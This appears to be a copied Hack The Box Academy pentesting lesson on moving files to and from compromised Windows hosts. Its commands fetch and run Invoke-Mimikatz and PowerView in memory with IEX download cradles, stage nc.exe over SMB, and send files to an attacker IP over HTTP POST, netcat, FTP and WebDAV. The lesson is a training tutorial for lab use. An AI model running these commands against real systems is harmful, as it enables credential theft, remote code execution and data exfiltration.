Métodos para la transferencia de Archivos Windows (en un Pentesting)
https://academy.hackthebox.com/course/preview/file-transfers/windows-file-transfer-methods
PowerShell DownloadFile Method
We can specify the class name Net.WebClient
and the method DownloadFile
with the parameters corresponding to the URL of the target file to download and the output file name.
File Download
PS C:\htb> # Example: (New-Object Net.WebClient).DownloadFile('<Target File URL>','<Output File Name>')
PS C:\htb> (New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1','C:\Users\Public\Downloads\PowerView.ps1')
PS C:\htb> # Example: (New-Object Net.WebClient).DownloadFileAsync('<Target File URL>','<Output File Name>')
PS C:\htb> (New-Object Net.WebClient).DownloadFileAsync('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1', 'PowerViewAsync.ps1')
PowerShell DownloadString – Fileless Method
As we previously discussed, fileless attacks work by using some operating system functions to download the payload and execute it directly. PowerShell can also be used to perform fileless attacks. Instead of downloading a PowerShell script to disk, we can run it directly in memory using the Invoke-Expression cmdlet or the alias IEX
.
PS C:\htb> IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')
IEX
also accepts pipeline input.
PS C:\htb> (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1') | IEX
PowerShell Invoke-WebRequest
From PowerShell 3.0 onwards, the Invoke-WebRequest cmdlet is also available, but it is noticeably slower at downloading files. You can use the aliases iwr
, curl
, and wget
instead of the Invoke-WebRequest
full name.
PS C:\htb> Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 -OutFile PowerView.ps1
Harmj0y has compiled an extensive list of PowerShell download cradles here. It is worth gaining familiarity with them and their nuances, such as a lack of proxy awareness or touching disk (downloading a file onto the target) to select the appropriate one for the situation.
SMB Downloads
The Server Message Block protocol (SMB protocol) that runs on port TCP/445 is common in enterprise networks where Windows services are running. It enables applications and users to transfer files to and from remote servers.
We can use SMB to download files from our Pwnbox easily. We need to create an SMB server in our Pwnbox with smbserver.py from Impacket and then use copy
, move
, PowerShell Copy-Item
, or any other tool that allows connection to SMB.
Create the SMB Server
user@htb[/htb]$ sudo impacket-smbserver share -smb2support /tmp/smbshare
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
To download a file from the SMB server to the current working directory, we can use the following command:
Copy a File from the SMB Server
C:\htb> copy \\192.168.220.133\share\nc.exe
1 file(s) copied.
New versions of Windows block unauthenticated guest access, as we can see in the following command:
C:\htb> copy \\192.168.220.133\share\nc.exe
You can't access this shared folder because your organization's security policies block unauthenticated guest access. These policies help protect your PC from unsafe or malicious devices on the network.
To transfer files in this scenario, we can set a username and password using our Impacket SMB server and mount the SMB server on our windows target machine:
Create the SMB Server with a Username and Password
user@htb[/htb]$ sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
Mount the SMB Server with Username and Password
C:\htb> net use n: \\192.168.220.133\share /user:test test
The command completed successfully.
C:\htb> copy n:\nc.exe
1 file(s) copied.
Note: You can also mount the SMB server if you receive an error when you use `copy filename \\IP\sharename`.
FTP Downloads
Another way to transfer files is using FTP (File Transfer Protocol), which use port TCP/21 and TCP/20. We can use the FTP client or PowerShell Net.WebClient to download files from an FTP server.
We can configure an FTP Server in our attack host using Python3 pyftpdlib
module. It can be installed with the following command:
Installing the FTP Server Python3 Module – pyftpdlib
user@htb[/htb]$ sudo pip3 install pyftpdlib
Then we can specify port number 21 because, by default, pyftpdlib
uses port 2121. Anonymous authentication is enabled by default if we don’t set a user and password.
Setting up a Python3 FTP Server
user@htb[/htb]$ sudo python3 -m pyftpdlib --port 21
[I 2022-05-17 10:09:19] concurrency model: async
[I 2022-05-17 10:09:19] masquerade (NAT) address: None
[I 2022-05-17 10:09:19] passive ports: None
[I 2022-05-17 10:09:19] >>> starting FTP server on 0.0.0.0:21, pid=3210 <<<
After the FTP server is set up, we can perform file transfers using the pre-installed FTP client from Windows or PowerShell Net.WebClient
.
Transfering Files from an FTP Server Using PowerShell
PS C:\htb> (New-Object Net.WebClient).DownloadFile('ftp://192.168.49.128/file.txt', 'ftp-file.txt')
When we get a shell on a remote machine, we may not have an interactive shell. If that’s the case, we can create an FTP command file to download a file. First, we need to create a file containing the commands we want to execute and then use the FTP client to use that file to download that file.
Create a Command File for the FTP Client and Download the Target File
C:\htb> echo open 192.168.49.128 > ftpcommand.txt
C:\htb> echo USER anonymous >> ftpcommand.txt
C:\htb> echo binary >> ftpcommand.txt
C:\htb> echo GET file.txt >> ftpcommand.txt
C:\htb> echo bye >> ftpcommand.txt
C:\htb> ftp -v -n -s:ftpcommand.txt
ftp> open 192.168.49.128
Log in with USER and PASS first.
ftp> USER anonymous
ftp> GET file.txt
ftp> bye
C:\htb>more file.txt
This is a test file
PowerShell Web Uploads
PowerShell doesn’t have a built-in function for upload operations, but we can use Invoke-WebRequest
or Invoke-RestMethod
to build our upload function. We’ll also need a web server that accepts uploads, which is not a default option in most common webserver utilities.
For our web server, we can use uploadserver, an extended module of the Python HTTP.server module, which includes a file upload page. Let’s install it and start the webserver.
Installing a Configured WebServer with Upload
user@htb[/htb]$ pip3 install uploadserver
Collecting upload server
Using cached uploadserver-2.0.1-py3-none-any.whl (6.9 kB)
Installing collected packages: uploadserver
Successfully installed uploadserver-2.0.1
user@htb[/htb]$ python3 -m uploadserver
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Now we can use a PowerShell script PSUpload.ps1 which uses Invoke-WebRequest
to perform the upload operations. The script accepts two parameters -File
, which we use to specify the file path, and -Uri
, the server URL where we’ll upload our file. Let’s attempt to upload the host file from our Windows host.
PowerShell Script to Upload a File to Python Upload Server
PS C:\htb> IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
PS C:\htb> Invoke-FileUpload -Uri http://192.168.49.128:8000/upload -File C:\Windows\System32\drivers\etc\hosts
[+] File Uploaded: C:\Windows\System32\drivers\etc\hosts
[+] FileHash: 5E7241D66FD77E9E8EA866B6278B2373
PowerShell Base64 Web Upload
Another way to use PowerShell and base64 encoded files for upload operations is by using Invoke-WebRequest
or Invoke-RestMethod
together with Netcat. We use Netcat to listen in on a port we specify and send the file as a POST
request. Finally, we copy the output and use the base64 decode function to convert the base64 string into a file.
PS C:\htb> $b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte))
PS C:\htb> Invoke-WebRequest -Uri http://192.168.49.128:8000/ -Method POST -Body $b64
We catch the base64 data with Netcat and use the base64 application with the decode option to convert the string to the file.
user@htb[/htb]$ nc -lvnp 8000
listening on [any] 8000 ...
connect to [192.168.49.128] from (UNKNOWN) [192.168.49.129] 50923
POST / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682
Content-Type: application/x-www-form-urlencoded
Host: 192.168.49.128:8000
Content-Length: 1820
Connection: Keep-Alive
IyBDb3B5cmlnaHQgKGMpIDE5OTMtMjAwOSBNaWNyb3NvZnQgQ29ycC4NCiMNCiMgVGhpcyBpcyBhIHNhbXBsZSBIT1NUUyBmaWxlIHVzZWQgYnkgTWljcm9zb2Z0IFRDUC9JUCBmb3IgV2luZG93cy4NCiMNCiMgVGhpcyBmaWxlIGNvbnRhaW5zIHRoZSBtYXBwaW5ncyBvZiBJUCBhZGRyZXNzZXMgdG8gaG9zdCBuYW1lcy4gRWFjaA0KIyBlbnRyeSBzaG91bGQgYmUga2VwdCBvbiBhbiBpbmRpdmlkdWFsIGxpbmUuIFRoZSBJUCBhZGRyZXNzIHNob3VsZA0KIyBiZSBwbGFjZWQgaW4gdGhlIGZpcnN0IGNvbHVtbiBmb2xsb3dlZCBieSB0aGUgY29ycmVzcG9uZGluZyBob3N0IG5hbWUuDQojIFRoZSBJUCBhZGRyZXNzIGFuZCB0aGUgaG9zdCBuYW1lIHNob3VsZCBiZSBzZXBhcmF0ZWQgYnkgYXQgbGVhc3Qgb25lDQo
...SNIP...
user@htb[/htb]$ echo <base64> | base64 -d -w 0 > hosts
SMB Uploads
We previously discussed that companies usually allow outbound traffic using HTTP
(TCP/80) and HTTPS
(TCP/443) protocols. Commonly enterprises don’t allow the SMB protocol (TCP/445) out of their internal network because this can open them up to potential attacks. For more information on this, we can read the Microsoft post Preventing SMB traffic from lateral connections and entering or leaving the network.
An alternative is to run SMB over HTTP with WebDav
. WebDAV
(RFC 4918) is an extension of HTTP, the internet protocol that web browsers and web servers use to communicate with each other. The WebDAV
protocol enables a webserver to behave like a fileserver, supporting collaborative content authoring. WebDAV
can also use HTTPS.
When you use SMB
, it will first attempt to connect using the SMB protocol, and if there’s no SMB share available, it will try to connect using HTTP. In the following Wireshark capture, we attempt to connect to the file share testing3
, and because it didn’t find anything with SMB
, it uses HTTP
.

Configuring WebDav Server
To set up our WebDav server, we need to install two Python modules, wsgidav
and cheroot
(you can read more about this implementation here: wsgidav github). After installing them, we run the wsgidav
application in the target directory.
Installing WebDav Python modules
user@htb[/htb]$ sudo pip install wsgidav cheroot
[sudo] password for plaintext:
Collecting wsgidav
Downloading WsgiDAV-4.0.1-py3-none-any.whl (171 kB)
|████████████████████████████████| 171 kB 1.4 MB/s
...SNIP...
Using the WebDav Python module
user@htb[/htb]$ sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous
[sudo] password for plaintext:
Running without configuration file.
10:02:53.949 - WARNING : App wsgidav.mw.cors.Cors(None).is_disabled() returned True: skipping.
10:02:53.950 - INFO : WsgiDAV/4.0.1 Python/3.9.2 Linux-5.15.0-15parrot1-amd64-x86_64-with-glibc2.31
10:02:53.950 - INFO : Lock manager: LockManager(LockStorageDict)
10:02:53.950 - INFO : Property manager: None
10:02:53.950 - INFO : Domain controller: SimpleDomainController()
10:02:53.950 - INFO : Registered DAV providers by route:
10:02:53.950 - INFO : - '/:dir_browser': FilesystemProvider for path '/usr/local/lib/python3.9/dist-packages/wsgidav/dir_browser/htdocs' (Read-Only) (anonymous)
10:02:53.950 - INFO : - '/': FilesystemProvider for path '/tmp' (Read-Write) (anonymous)
10:02:53.950 - WARNING : Basic authentication is enabled: It is highly recommended to enable SSL.
10:02:53.950 - WARNING : Share '/' will allow anonymous write access.
10:02:53.950 - WARNING : Share '/:dir_browser' will allow anonymous read access.
10:02:54.194 - INFO : Running WsgiDAV/4.0.1 Cheroot/8.6.0 Python 3.9.2
10:02:54.194 - INFO : Serving on http://0.0.0.0:80 ...
Connecting to the Webdav Share
Now we can attempt to connect to the share using the DavWWWRoot
directory.
C:\htb> dir \\192.168.49.128\DavWWWRoot
Volume in drive \\192.168.49.128\DavWWWRoot has no label.
Volume Serial Number is 0000-0000
Directory of \\192.168.49.128\DavWWWRoot
05/18/2022 10:05 AM <DIR> .
05/18/2022 10:05 AM <DIR> ..
05/18/2022 10:05 AM <DIR> sharefolder
05/18/2022 10:05 AM 13 filetest.txt
1 File(s) 13 bytes
3 Dir(s) 43,443,318,784 bytes free
Note: DavWWWRoot
is a special keyword recognized by the Windows Shell. No such folder exists on your WebDAV server. The DavWWWRoot keyword tells the Mini-Redirector driver, which handles WebDAV requests that you are connecting to the root of the WebDAV server.
You can avoid using this keyword if you specify a folder that exists on your server when connecting to the server. For example: \192.168.49.128\sharefolder
Uploading Files using SMB
C:\htb> copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\DavWWWRoot\
C:\htb> copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\sharefolder\
Note: If there are no SMB (TCP/445) restrictions, you can use impacket-smbserver the same way we set it up for download operations.
FTP Uploads
Uploading files using FTP is very similar to downloading files. We can use PowerShell or the FTP client to complete the operation. Before we start our FTP Server using the Python module pyftpdlib
, we need to specify the option --write
to allow clients to upload files to our attack host.
user@htb[/htb]$ sudo python3 -m pyftpdlib --port 21 --write
/usr/local/lib/python3.9/dist-packages/pyftpdlib/authorizers.py:243: RuntimeWarning: write permissions assigned to anonymous user.
warnings.warn("write permissions assigned to anonymous user.",
[I 2022-05-18 10:33:31] concurrency model: async
[I 2022-05-18 10:33:31] masquerade (NAT) address: None
[I 2022-05-18 10:33:31] passive ports: None
[I 2022-05-18 10:33:31] >>> starting FTP server on 0.0.0.0:21, pid=5155 <<<
Now let’s use the PowerShell upload function to upload a file to our FTP Server.
PowerShell Upload File
PS C:\htb> (New-Object Net.WebClient).UploadFile('ftp://192.168.49.128/ftp-hosts', 'C:\Windows\System32\drivers\etc\hosts')
Create a Command File for the FTP Client to Upload a File
C:\htb> echo open 192.168.49.128 > ftpcommand.txt
C:\htb> echo USER anonymous >> ftpcommand.txt
C:\htb> echo binary >> ftpcommand.txt
C:\htb> echo PUT c:\windows\system32\drivers\etc\hosts >> ftpcommand.txt
C:\htb> echo bye >> ftpcommand.txt
C:\htb> ftp -v -n -s:ftpcommand.txt
ftp> open 192.168.49.128
Log in with USER and PASS first.
ftp> USER anonymous
ftp> PUT c:\windows\system32\drivers\etc\hosts
ftp> bye